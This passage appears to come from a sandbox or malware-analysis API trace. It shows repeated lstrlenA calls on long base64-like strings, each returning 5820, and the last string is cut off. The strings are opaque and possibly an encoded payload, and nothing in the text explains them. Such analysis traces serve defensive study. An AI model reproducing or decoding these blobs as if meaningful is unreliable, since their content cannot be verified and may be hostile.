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") returned 5820
	[0084.635] lstrlenA (lpString="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") returned 5820
	[0084.635] lstrlenA (lpString="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") returned 5820
	[0084.635] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2Uhk